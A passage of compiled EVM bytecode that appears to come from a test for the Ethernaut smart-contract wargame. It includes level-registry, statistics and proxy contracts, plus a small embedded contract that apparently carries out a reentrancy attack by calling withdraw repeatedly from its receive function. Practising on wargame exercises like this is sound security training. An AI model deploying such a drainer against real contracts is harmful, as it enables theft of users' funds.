fa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620017d6575f80fd5b505af1158015620017e9573d5f803e3d5ffd5b50506020546021546200181693506200181092506001600160a01b0391821691166200151a565b62001ae1565b565b6008545f9060ff161562001830575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa158015620018bf573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620018e59190620023d0565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a3657602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a17575050505050905090565b5f620019598243620023e8565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007f9575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001a179086908690600401620023fe565b5f60405180830381865afa15801562001a32573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001a5b91908101906200242f565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001ac7575f80fd5b505afa15801562001ada573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001ab0565b61029a806200246683390190565b610ae5806200270083390190565b611e7a80620031e583390190565b610daa806200505f83390190565b6001600160a01b038116811462001229575f80fd5b5f805f6060848603121562001b94575f80fd5b833562001ba18162001b6c565b9250602084013562001bb38162001b6c565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001c065783516001600160a01b03168352928401929184019160010162001bdf565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001c4c5762001c4c62001c12565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c7e5762001c7e62001c12565b604052919050565b5f67ffffffffffffffff82111562001ca25762001ca262001c12565b50601f01601f191660200190565b5f6020828403121562001cc1575f80fd5b813567ffffffffffffffff81111562001cd8575f80fd5b8201601f8101841362001ce9575f80fd5b803562001d0062001cfa8262001c86565b62001c52565b81815285602083850101111562001d15575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001d4e57818101518382015260200162001d34565b50505f910152565b5f815180845262001d6f81602086016020860162001d32565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001e3757603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001e2057605f1988850301835262001e0d84865162001d56565b948d01949350918c019160010162001dee565b505050968901969350509087019060010162001da8565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001f0557888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001eef5783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001eab565b5096890196945050509086019060010162001e6d565b509098975050505050505050565b5f6020828403121562001f24575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f8457603f1988860301845262001f7185835162001d56565b9450928501929085019060010162001f52565b5092979650505050505050565b5f6020828403121562001fa2575f80fd5b813562001a5b8162001b6c565b5f806040838503121562001fc1575f80fd5b823562001fce8162001b6c565b9150602083013562001fe08162001b6c565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff8211156200201b576200201b62001c12565b5060051b60200190565b5f6200203562001cfa8462001c86565b905082815283838301111562002049575f80fd5b62001a5b83602083018462001d32565b5f82601f83011262002069575f80fd5b62001a5b8383516020850162002025565b8051620020878162001b6c565b919050565b5f60208083850312156200209e575f80fd5b825167ffffffffffffffff80821115620020b6575f80fd5b818501915085601f830112620020ca575f80fd5b8151620020db62001cfa8262001fff565b81815260059190911b83018401908481019088831115620020fa575f80fd5b8585015b83811015620021fb5780518581111562002116575f80fd5b86016060818c03601f190112156200212c575f80fd5b6200213662001c26565b888201518781111562002147575f80fd5b8201603f81018d1362002158575f80fd5b898101516200216b62001cfa8262001fff565b81815260059190911b8201604001908b8101908f8311156200218b575f80fd5b6040840193505b82841015620021ad5783518252928c0192908c019062002192565b8452505050604082015187811115620021c4575f80fd5b620021d48d8b8386010162002059565b8a83015250620021e7606083016200207a565b6040820152845250918601918601620020fe565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620016a457620016a462002208565b5f6020828403121562002243575f80fd5b815167ffffffffffffffff8111156200225a575f80fd5b8201601f810184136200226b575f80fd5b6200227c8482516020840162002025565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f8351620022bd81600585016020880162001d32565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620022fc81600a84016020880162001d32565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200234581846020880162001d32565b8351908301906200235b81836020880162001d32565b01949350505050565b602081525f62001a5b602083018462001d56565b600181811c908216806200238d57607f821691505b602082108103620023ac57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215620023c3575f80fd5b815162001a5b8162001b6c565b5f60208284031215620023e1575f80fd5b5051919050565b80820180821115620016a457620016a462002208565b604081525f62002412604083018562001d56565b828103602084015262002426818562001d56565b95945050505050565b5f6020828403121562002440575f80fd5b815167ffffffffffffffff81111562002457575f80fd5b6200227c848285016200205956fe608060405260405161029a38038061029a83398101604081905261002291610046565b5f80546001600160a01b0319166001600160a01b0392909216919091179055610073565b5f60208284031215610056575f80fd5b81516001600160a01b038116811461006c575f80fd5b9392505050565b61021a806100805f395ff3fe60806040526004361061002b575f3560e01c8063218d3fa814610097578063de6c6acd146100ab575f80fd5b36610093575f54604051632e1a7d4d60e01b81526001600482015273ffffffffffffffffffffffffffffffffffffffff90911690632e1a7d4d906024015f604051808303815f87803b15801561007f575f80fd5b505af1158015610091573d5f803e3d5ffd5b005b5f80fd5b3480156100a2575f80fd5b506100916100bf565b3480156100b6575f80fd5b50610091610127565b5f54604051632e1a7d4d60e01b815273ffffffffffffffffffffffffffffffffffffffff9091168031600483015290632e1a7d4d906024015b5f604051808303815f87803b15801561010f575f80fd5b505af1158015610121573d5f803e3d5ffd5b50505050565b5f546040517e362a9500000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff9091169062362a95906001906024015f604051808303818588803b15801561018f575f80fd5b505af11580156101a1573d5f803e3d5ffd5b50505f54604051632e1a7d4d60e01b81526001600482015273ffffffffffffffffffffffffffffffffffffffff9091169350632e1a7d4d925060240190506100f856fea264697066735822122077936227858899eeca8313b24be07e4edd057cfbff1b9d79db2cedc02d353d2864736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff